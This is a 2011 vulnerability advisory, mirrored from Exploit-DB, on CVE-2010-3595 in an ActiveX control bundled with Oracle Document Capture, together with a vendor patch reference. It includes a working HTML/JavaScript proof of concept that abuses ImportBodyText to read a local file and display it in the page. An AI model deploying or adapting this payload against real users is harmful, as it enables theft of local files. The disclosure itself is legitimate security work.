Oracle – Document Capture Insecure READ Method - 体验盒子

作者： Alexey Sintsov
日期： 2011-01-26
类别：
remote
平台：
windows
来源：https://www.exploit-db.com/exploits/16056/
Source:http://packetstormsecurity.org/files/view/97872/DSECRG-11-007.txt

Digital Security Research Group [DSecRG] Advisory DSECRG-11-007 (Internal #DSECRG-00117)


Application:Oracle Document Capture
Versions Affected:10.1350.0005
Vendor URL: http://www.oracle.com/technology/software/products/content-management/index_dc.html
Bugs: Insecure READ method
Exploits: YES
Reported: 29.01.2010 
Second report:02.02.2010
Date of Public Advisory:24.01.2010
CVE:CVE-2010-3595
Authors:Alexey Sintsov
by Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)



Description
***********

EasyMail ActiveXControl (emsmtp.dll)that included into Oracle Document Capture distrib
can be used to read any file in target system. Vulnerable method is "ImportBodyText()".



Details
*******

For example if you enter filename "C:\\boot.ini" in "ImportBodyText" method then control will 
open and read file "C:\boot.ini". Content of boot.ini will be loaded into property "BodyText" .


Class EasyMailSMTPObj
GUID: {68AC0D5F-0424-11D5-822F-00C04F6BA8D9}
Number of Interfaces: 1
Default Interface: IEasyMailSMTPObj
RegKey Safe for Script: True
RegKey Safe for Init: True
KillBitSet: False



Example:
*******

<HTML>
<HEAD>
<TITLE>DSECRG</TITLE>
</HEAD>
<BODY>

<OBJECT id='ora' classid='clsid:68AC0D5F-0424-11D5-822F-00C04F6BA8D9'></OBJECT>

<SCRIPT>

function Exploit(){
ora.ImportBodyText("C:\\boot.ini"); 
document.write("Try to read c:\\boot.ini:<br><br>"+ora.BodyText);
}
Exploit();

</SCRIPT>
</BODY>
</HTML>



References
**********

http://dsecrg.com/pages/vul/show.php?id=307
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html




Fix Information
*************

Information was published in CPU Jan 2011.
All customers can download CPU patches following instructions from: 

http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html


About
*****

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Digital Security Research Group:

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Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.erpscan.com






Polyakov Alexandr. PCI QSA,PA-QSA
CTO Digital Security
Head of DSecRG
______________________
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